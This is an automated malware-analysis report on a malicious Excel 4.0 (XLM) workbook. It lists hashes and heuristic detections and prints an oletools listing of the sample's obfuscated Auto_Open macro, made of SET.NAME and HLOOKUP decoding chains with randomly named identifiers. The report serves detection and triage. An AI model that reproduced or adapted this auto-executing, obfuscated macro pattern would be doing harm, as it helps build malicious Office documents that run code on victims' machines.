Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3dd6ab0407934ed2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:18 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: b0928c4fa56dcefefc27317454cf3a44 SHA-1: a445e8d4aab9af0e5cb0871a9c74cb6f5e31d09e SHA-256: 3dd6ab0407934ed20cfef1ddb9f1fb1e2b3c5bd3e695ecb3e6b4613942f8d6db
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 3eff1a3a7ab8df2029157cc3f6bd1988defc399766e0de8193e308a22715ea0a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 37 identifiers look randomly generated (e.g. 'WbkCOJooXAgu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EguI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E142 
' 0018     21 LABEL : Cell Value, String Constant - AVhfPf len=0 
' 0018     26 LABEL : Cell Value, String Constant - CQEYTzFPRcj len=0 
' 0018     24 LABEL : Cell Value, String Constant - csweisGRo len=0 
' 0018     26 LABEL : Cell Value, String Constant - ecqxHXMnlFq len=0 
' 0018     27 LABEL : Cell Value, String Constant - EhXFURlkBcLl len=0 
' 0018     23 LABEL : Cell Value, String Constant - EjDnfXCM len=0 
' 0018     27 LABEL : Cell Value, String Constant - IqctFfHKPbcr len=0 
' 0018     20 LABEL : Cell Value, String Constant - ITqPy len=0 
' 0018     25 LABEL : Cell Value, String Constant - iWUHQpCjOg len=0 
' 0018     21 LABEL : Cell Value, String Constant - jRqclW len=0 
' 0018     21 LABEL : Cell Value, String Constant - luKcfh len=0 
' 0018     23 LABEL : Cell Value, String Constant - mPUoTGPR len=0 
' 0018     23 LABEL : Cell Value, String Constant - oYHXTcHZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - PvxTl len=0 
' 0018     23 LABEL : Cell Value, String Constant - QatkiRdw len=0 
' 0018     26 LABEL : Cell Value, String Constant - SalhyJWYJkO len=0 
' 0018     21 LABEL : Cell Value, String Constant - vjKGvS len=0 
' 0018     25 LABEL : Cell Value, String Constant - voGWFULygy len=0 
' 0018     27 LABEL : Cell Value, String Constant - WbkCOJooXAgu len=0 
' 0018     25 LABEL : Cell Value, String Constant - YbnMaPSiKx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EguI,Q44,"",24.00000000000000000000
'  EguI,Q45,"",32.00000000000000000000
'  EguI,Q46,"",-421.00000000000000000000
'  EguI,Q47,"",262.00000000000000000000
'  EguI,Q48,"",-742.00000000000000000000
'  EguI,Q49,"",-677.00000000000000000000
'  EguI,E58,"SET.NAME("YbnMaPSiKx",0+VALUE("0"))",""
'  EguI,E61,"SET.NAME("mPUoTGPR",YbnMaPSiKx)",""
'  EguI,E66,"SET.NAME("luKcfh",YbnMaPSiKx)",""
'  EguI,E69,"SET.NAME("iWUHQpCjOg",COUNTA(SalhyJWYJkO))",""
'  EguI,E74,"SET.NAME("ecqxHXMnlFq",COUNTA(PvxTl))",""
'  EguI,E78,[],""
'  EguI,E80,"SET.NAME("AVhfPf","")",""
'  EguI,E83,"mPUoTGPR",""
'  EguI,E86,"SET.NAME("WbkCOJooXAgu",HLOOKUP("*",SalhyJWYJkO,mPUoTGPR,FALSE))",""
'  EguI,E89,"vjKGvS",""
'  EguI,E91,"SET.NAME("csweisGRo",YbnMaPSiKx)",""
'  EguI,E94,[],""
'  EguI,E97,"csweisGRo",""
'  EguI,E99,"QatkiRdw",""
'  EguI,E104,"CQEYTzFPRcj",""
'  EguI,E107,"IqctFfHKPbcr",""
'  EguI,E109,"SET.NAME("EhXFURlkBcLl",VALUE(HLOOKUP("*",PvxTl,IqctFfHKPbcr,FALSE)))",""
'  EguI,E111,"oYHXTcHZ",""
'  EguI,E113,"AVhfPf",""
'  EguI,E118,"luKcfh",""
'  EguI,E123,NEXT(),""
'  EguI,E126,"jRqclW",""
'  EguI,E128,[],""
'  EguI,E130,"voGWFULygy",""
'  EguI,E135,NEXT(),""
'  EguI,E137,RETURN(),""
'  EguI,E163,"SET.NAME("ITqPy",E58)",""
'  EguI,E165,"SalhyJWYJkO",""
'  EguI,E168,"SET.NAME("PvxTl",R68C12)",""
'  EguI,E170,"SET.NAME("voGWFULygy",179)",""
'  EguI,E175,"SET.NAME("EjDnfXCM",5)",""
'  EguI,E178,ITqPy(),""
'  EguI,E179,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.